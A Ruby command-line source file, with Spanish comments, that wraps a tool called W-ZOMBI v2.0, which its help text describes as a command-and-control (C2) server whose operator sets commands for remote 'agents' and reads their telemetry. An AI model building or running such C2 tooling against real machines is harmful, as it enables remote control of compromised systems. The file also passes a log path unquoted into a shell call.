Files
dtic-DIIAA/adn/tools/cli/wzombi.rb
T

98 lines
2.6 KiB
Ruby

# frozen_string_literal: true
require 'optparse'
require 'json'
require_relative '../core/colores'
require_relative '../w-zombi/lib/wzombi/config'
require_relative '../w-zombi/lib/wzombi/server'
require_relative '../w-zombi/lib/wzombi/command_store'
module ADN
class SubcomandoWZombi
def initialize(args, logger)
@args = args
@logger = logger
@base_path = File.expand_path('../w-zombi', __dir__)
@config = WZombi::Config.new(base_path: @base_path)
end
def ejecutar
if @args.empty?
ayuda
return
end
accion = @args[0]
case accion
when 'start'
iniciar_servidor
when 'cmd'
actualizar_comando(@args[1])
when 'log'
ver_logs
when 'ayuda', '-h', '--help'
ayuda
else
@logger.error("Acción desconocida: #{accion}")
ayuda
exit 1
end
end
private
def iniciar_servidor
@logger.info("Iniciando servidor W-ZOMBI v2.0")
begin
WZombi::Server.new(@config).start
rescue Errno::EADDRINUSE
@logger.error("El puerto #{@config.puerto} ya está en uso.")
exit 1
rescue => e
@logger.error("Error al iniciar el servidor: #{e.message}")
exit 1
end
end
def actualizar_comando(comando)
if comando.nil? || comando.empty?
@logger.error("Debe especificar un comando. Uso: wzombi cmd \"comando\"")
exit 1
end
store = WZombi::CommandStore.new(@config.cmd_path)
store.update(comando)
@logger.exito("Comando actualizado: #{comando}")
end
def ver_logs
log_path = @config.log_path
unless File.exist?(log_path)
@logger.advertencia("No hay logs disponibles en #{log_path}")
return
end
puts "#{Color::CYAN}🛰️ Telemetría W-ZOMBI (tail -f)#{Color::RESET}"
# Usamos exec para ceder el control al proceso tail si el usuario lo desea,
# o system para volver después.
system("tail -f #{log_path}")
end
def ayuda
puts <<~HELP
#{Color::CYAN}🧟 Herramienta W-ZOMBI v2.0#{Color::RESET}
Uso: ./adn/tools/run wzombi <acción> [argumentos]
Acciones:
start Levanta el servidor C2 (WEBrick)
cmd "<comando>" Actualiza el comando para los agentes
log Muestra la telemetría en tiempo real (tail -f)
ayuda Muestra esta ayuda
Ejemplos:
./adn/tools/run wzombi cmd "ipconfig /all"
./adn/tools/run wzombi start
HELP
end
end
end